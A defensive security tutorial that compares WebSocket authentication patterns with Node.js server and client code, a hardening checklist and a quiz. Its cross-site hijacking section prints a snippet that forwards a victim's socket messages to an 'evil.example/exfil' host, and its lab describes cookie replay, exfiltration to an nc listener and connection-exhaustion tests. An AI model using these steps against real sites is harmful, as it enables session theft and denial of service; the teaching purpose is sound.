- HTTP Upgrade RequestBrowser sends GET with cookies; no CORS or SameSite protection
- Auth Decision PointServer must authenticate inside handshake or first frames
- First-Message TokenToken sent in first frame; server already accepted connection
- Subprotocol TokenToken smuggled in header; leaks to proxies and logs
- Short-Lived TicketOne-time ticket verified before accept; burns on use
Short-lived one-time tickets authenticate pre-accept, burn on redemption, and defeat cross-site hijacking.
🔎 Last updated · Editorial policy · Report an error
Short-lived one-time tickets are the strongest default for WebSocket authentication—they authenticate before the socket is accepted, burn on redemption, and neutralize cross-site hijacking. First-message tokens leak nothing on the wire but force you to accept and resource-allocate before you can reject. Sec-WebSocket-Protocol tokens are convenient but leak Bearer tokens into proxy and extension logs while violating the header’s actual contract.
WebSocket auth is not HTTP auth: why the handshake changes the threat model
Every WebSocket connection starts life as an ordinary HTTP request: the client sends a GET with Connection: Upgrade, Upgrade: websocket, and a Sec-WebSocket-Key. The server replies 101 Switching Protocols, and from that point the TCP stream belongs to the socket protocol. That single design decision reshapes your threat model in three ways.
First, the Upgrade request is a normal HTTP request—which means cookies flow automatically, including cross-site. A page on evil.example can open new WebSocket("wss://bank.example/ws") and the browser will attach the victim’s session cookie. There is no SameSite equivalent at the WebSocket layer and no CORS preflight; the browser’s WebSocket API simply doesn’t enforce a same-origin policy the way fetch() does. OWASP covers this in the WebSocket Security Cheat Sheet (cheatsheetseries.owasp.org).
Second, once the handshake completes, there is no HTTP semantics anymore—no 401, no 403, no middleware chain. Authentication has to happen either inside the handshake request itself or in the first frames of an accepted connection. Third, browsers forbid custom headers on WebSocket connections, so the Authorization: Bearer pattern you use everywhere else is simply unavailable. These constraints produce the three patterns this article dissects.
Pattern 1: Authentication in the first message
The most common quick-fix: accept the socket, then demand credentials in the first frame. Server (Node.js, ws library):
import { WebSocketServer } from "ws";
const wss = new WebSocketServer({ port: 8080 });
wss.on("connection", (ws) => {
ws.isAuthed = false;
const timeout = setTimeout(() => ws.close(4001, "auth timeout"), 5000);
ws.once("message", (data) => {
clearTimeout(timeout);
try {
const { token } = JSON.parse(data);
if (verifyJwt(token)) {
ws.isAuthed = true;
ws.send(JSON.stringify({ type: "auth.ok" }));
return;
}
} catch {}
ws.close(4003, "auth failed");
});
});
Client:
const ws = new WebSocket("wss://api.example.com/ws");
ws.onopen = () => ws.send(JSON.stringify({ token: getToken() }));
The token never appears on the wire as a header or query string—frames are opaque to intermediaries beyond TLS. That’s the genuine advantage. The cost: the server has accepted the connection and allocated resources before knowing who the client is.
Pattern 1 failure modes: unauthenticated sockets, DoS, and slow rejection
- Connection exhaustion. Every socket—authenticated or not—consumes a file descriptor, an event-loop registration, buffers, and per-socket state. An attacker who opens thousands of sockets without sending tokens (or sends garbage tokens) holds those resources until your auth timeout expires. Five-second timeouts with thousands of connection attempts per second add up fast.
- No early rejection. There is no way to return a 401-equivalent after the 101 has gone out. You can only close with a status code in the 4000–4999 application range, which clients see as an abrupt failure—awkward for retry logic and invisible to standard HTTP monitoring.
- Timing and ordering pitfalls. If you forget the
once/timeout pattern and simply listen for messages, a client that never sends a token sits authenticated-as-nothing indefinitely. Any handler that forgets to checkws.isAuthedbecomes an unauthenticated data channel.
If you use this pattern, enforce auth-before-accept semantics strictly: per-IP connection caps, a hard auth timeout, and a global cap on concurrently unauthenticated sockets. Better—move auth into the handshake (Patterns 2 or 3).
Pattern 2: Tokens in Sec-WebSocket-Protocol
Because browsers block custom headers, developers discovered that new WebSocket(url, protocols) lets them smuggle a token into the handshake:
// Client: echo a fake subprotocol containing the token
const ws = new WebSocket("wss://api.example.com/ws", ["bearer", token]);
import { WebSocketServer } from "ws";
function verifyOrigin(origin) {
return origin === "https://app.example.com";
}
const wss = new WebSocketServer({
port: 8080,
verifyClient: (info, done) => {
const [proto, token] = info.req.headers["sec-websocket-protocol"]?.split(", ") ?? [];
if (proto !== "bearer" || !verifyJwt(token)) {
done(false, 401, "Unauthorized"); // rejected before accept
return;
}
if (!verifyOrigin(info.origin)) {
done(false, 403, "Bad origin");
return;
}
done(true);
},
});
wss.on("connection", (ws, req) => {
// Strip the token from the header so it doesn't propagate
delete req.headers["sec-websocket-protocol"];
ws.send(JSON.stringify({ type: "auth.ok" }));
});
This authenticates during the handshake—rejection happens before the socket is accepted, which fixes Pattern 1’s resource problem. But it’s a hack, and the failure modes follow from that.
Pattern 2 failure modes: token leakage via logs, proxies, and misordered subprotocols
- Header logging everywhere.
Sec-WebSocket-Protocolis a plain HTTP header during the handshake. Reverse proxies (NGINX, Envoy), load balancers (ALB), WAFs, APM tracing, and access logs routinely capture handshake headers. Your Bearer token ends up in the same logs as URLs and user agents. Treat any token passed this way as exposed to your entire proxy chain. - Contract violation. The header exists to negotiate an IANA-registered subprotocol—not to carry credentials. Some intermediaries validate, rewrite, or strip it. Cloudflare and certain corporate proxies mangle unexpected subprotocol lists, breaking auth nondeterministically depending on network path.
- Misordering bugs. If a client legitimately negotiates a real subprotocol (
["graphql-ws", token]) and the server picks the wrong list element, you either fail auth or interpret a token as a protocol name. Servers must echo exactly one selected subprotocol, and naive client libraries choke when the server echoes back the token.
Pattern 3: Short-lived one-time tickets
The strongest pattern: separate credential exchange from socket establishment. The client trades its existing session for a single-use ticket over authenticated HTTPS, then presents the ticket on the Upgrade request. The server redeems and burns it before accepting the socket.
// Express: mint the ticket (authenticated HTTPS endpoint)
import crypto from "crypto";
const tickets = new Map(); // production: Redis with TTL
app.post("/ws-ticket", requireSession, (req, res) => {
const ticket = crypto.randomBytes(32).toString("base64url");
tickets.set(ticket, {
userId: req.session.userId,
origin: req.get("origin"),
expires: Date.now() + 45_000, // 45s TTL
});
res.json({ ticket });
});
const { WebSocketServer } = require("ws");
const wss = new WebSocketServer({
port: 8080,
verifyClient: (info, done) => {
const u = new URL(info.req.url, "https://x");
const ticket = u.searchParams.get("t") ??
parseBearer(info.req.headers.authorization);
const rec = ticket && tickets.get(ticket);
if (!rec) return done(false, 401, "Invalid or burned ticket");
tickets.delete(ticket); // single use: redeem-and-burn
if (Date.now() > rec.expires) return done(false, 401, "Ticket expired");
if (rec.origin && rec.origin !== info.origin) return done(false, 403, "Origin mismatch");
info.req.userId = rec.userId;
done(true);
},
});
// Client
const { ticket } = await fetch("/ws-ticket", { credentials: "include" }).then(r => r.json());
const ws = new WebSocket(`wss://api.example.com/ws?t=${ticket}`);
Auth completes before accept. Revocation is instant—burned tickets can’t be replayed. And because the ticket is worthless within seconds and useless twice, even if it lands in a proxy log, the exposure window is tiny.
Pattern 3 failure modes and how to mitigate them
- Query-string leakage on the ticket request and Upgrade. Tickets in query params can appear in access logs and the
Refererheader if a page navigates away before the socket opens. Mitigation: prefer a header on the Upgrade (non-browser clients) and never link off-page from the socket-bearing document; keep TTLs at 30–60 seconds so leaked tickets expire before logs are read. - Replay windows. A ticket that is single-use eventually (redeemed after use but valid meanwhile) is race-prone. Burn atomically—
GETDELin Redis, or a compare-and-swap—so two simultaneous redemptions can’t both succeed. - Clock skew. If tickets are self-contained JWTs with
exp, validate against a tolerance (±30s) and prefer server-side state (opaque ticket records) over client-carried tokens, so revocation doesn’t depend on the clock. - Binding gaps. Bind the ticket to the minted
Originand optionally the client IP or TLS fingerprint. Unbound tickets stolen in-flight are usable from anywhere within the TTL.
Cross-Site WebSocket Hijacking: the shared exposure across all three patterns
Here’s the part most write-ups skip: Patterns 1 and 2, implemented with cookie-based auth, are both vulnerable to cross-site WebSocket hijacking (CSWSH). The demo concept is trivially simple: attacker hosts a page at evil.example containing:
const ws = new WebSocket("wss://victim.example/ws");
ws.onmessage = (e) => fetch("https://evil.example/exfil", { method: "POST", body: e.data });
The victim visits the page; the browser attaches the victim’s victim.example session cookie to the Upgrade request; the server accepts the socket and streams authenticated data to the attacker. CISA and OWASP both flag this class of ambient-credential abuse; see OWASP’s WebSocket Security Cheat Sheet and the CISA Secure by Design guidance on eliminating whole classes of vulnerabilities (cisa.gov/secure-by-design).
Origin checking alone is fragile: intermediaries and non-browser clients may not send Origin at all, mobile WebSocket libraries omit it by default, and teams routinely relax checks “temporarily” for a native app and never restore them. The robust fix is to require an explicit, attacker-unobtainable credential—exactly what a one-time ticket provides. The attacker’s page cannot call your authenticated ticket endpoint cross-site (SameSite cookies plus your own origin check block the fetch), so it cannot mint a ticket. Pattern 3 with origin-bound tickets is the pattern most resistant to CSWSH. If you must use cookies directly on the socket, validate Origin against an allowlist on every handshake and treat absence as a denial.
Hands-on lab: testing each pattern yourself
Set up wscat and websocat (npm i -g wscat, cargo install websocat) and point them at a deliberately vulnerable target. A CTF-style exercise:
- CSWSH the cookie-authed socket. Run a target with Pattern 1 + cookie auth. Host an attacker page that opens the socket and exfiltrates frames to a local listener (
nc -l 9999). Observe the victim’s cookie flowing on the Upgrade:websocat -v wss://target/ws -H "Cookie: session=stolen-or-ambient". - Replay the ticket. Mint a ticket against a Pattern 3 target, connect once, then immediately reconnect with the same ticket:
websocat "wss://target/ws?t=$TICKET". The second connection should die with close code 401 semantics—confirm your burn is atomic by firing two concurrent redemptions. - Probe the subprotocol hack.
websocat -v --protocol "bearer, eyJhbGciOi..." wss://target/wsand inspect verbose output—watch the token echo in plaintext on the handshake, which is precisely what your proxy logs see. - Exhaust Pattern 1. Script 500 concurrent
websocatconnections that open and never send a token. Watch unauthenticated socket counts and file descriptors (lsof -p <pid>) until your timeout reclaims them.
Decision matrix: choosing a pattern by deployment constraints
| Criterion | First-message token | Sec-WebSocket-Protocol | One-time ticket |
|---|---|---|---|
| Browser API compatible | Yes | Yes | Yes |
| Rejected before accept | No (post-accept) | Yes | Yes |
| Proxy/log friendliness | Excellent (frames opaque) | Poor (token in headers/logs) | Good (short TTL mitigates leakage) |
| Revocation speed | On next message | On reconnect | Immediate (ticket burn) |
| CSWSH resistance (cookie auth) | Low | Low–medium | High |
| Blast radius of token leak | Minimal | Full token, long-lived | Seconds, single use |
| Blue-team signal | Close 4003 spikes | Token strings in proxy logs | 401s on Upgrade + duplicate-ticket attempts |
Hardening checklist and detection opportunities
- Validate
OriginandHostheaders on every handshake against an allowlist; deny absent origins from browsers. - Authenticate before accepting the socket wherever possible (handshake-level verification, not post-accept).
- Enforce per-IP and per-user connection limits plus a global cap on unauthenticated sockets.
- Set hard auth timeouts (≤5s) and close codes in the 4000–4999 application range.
- Burn tickets atomically; TTL 30–60 seconds; bind to origin; consider IP binding for high-value sockets.
- Never log full Upgrade headers; redact
Sec-WebSocket-Protocol,Cookie, andAuthorization. - Alert on: Upgrade requests returning 401/403 at scale from one IP, duplicate ticket redemption attempts, connections that never authenticate, and subprotocol values that parse as JWTs (a token-in-header smell).
- Log structured fields: source IP, origin, auth result, ticket ID hash, close code, connection duration.
Pick Pattern 3 by default. Drop to first-message auth only when you can afford the resource exposure, and treat Sec-WebSocket-Protocol tokens as the legacy hack they are—migrate off them before your token shows up in someone else’s log pipeline.
Frequently Asked Questions
Can I set an Authorization header on a browser WebSocket connection?
No. The browser WebSocket API provides no mechanism for custom headers on the Upgrade request—that’s the entire reason developers resort to subprotocols, query parameters, or first-message tokens. Non-browser clients (websocat, native apps) can set headers freely, which is why header-based auth works for server-to-server sockets but not browser ones.
Is Sec-WebSocket-Protocol a safe place to put an auth token?
It works, but it leaks. The header is captured by proxies, load balancers, WAFs, and access logs, exposing your token to every intermediary. It also violates the header’s contract—intermediaries may rewrite or strip it, breaking auth nondeterministically. Prefer one-time tickets presented in a query parameter (with short TTL) or a header where your client allows one.
How long should a WebSocket one-time ticket live?
30–60 seconds, single use, burned atomically on redemption, and ideally bound to the origin (and optionally IP or client fingerprint) recorded at mint time. The short TTL caps the blast radius of any leakage; single-use blocks replay; origin binding defeats cross-site redemption.
What is cross-site WebSocket hijacking and how do I prevent it?
CSWSH is when an attacker’s web page opens a WebSocket to your server and the browser attaches the victim’s ambient credentials (cookies) to the handshake, letting the attacker read and write the victim’s authenticated channel. Prevent it by requiring an explicit credential the attacker can’t obtain—a one-time ticket minted over authenticated HTTPS—plus strict Origin/Host allowlists and SameSite cookies on your session.
Why is authenticating in the first message risky?
Because the server sends 101 Switching Protocols and allocates a socket, buffers, and per-connection state before it knows who the client is. Attackers can open thousands of unauthenticated sockets and hold them until your auth timeout expires—connection exhaustion with no HTTP-level rejection. It also means every message handler must independently check an auth flag, and one forgotten check becomes an unauthenticated channel.
Related reading
- OSINT Tradecraft Explained: From Search Engine Dorks to Attribution-Grade Intelligence Pipelines
- Shodan and Censys for Defenders: Find and Fix Your Exposed Assets Before Attackers Do
Check your understanding
1. Why does the WebSocket handshake create a cross-site hijacking risk that fetch() does not?
2. What is the core drawback of authenticating in the first message after accepting the socket?
3. Why is smuggling tokens via Sec-WebSocket-Protocol considered risky?
4. What makes short-lived one-time tickets the strongest default WebSocket auth pattern?
Your answers stay in this browser only.




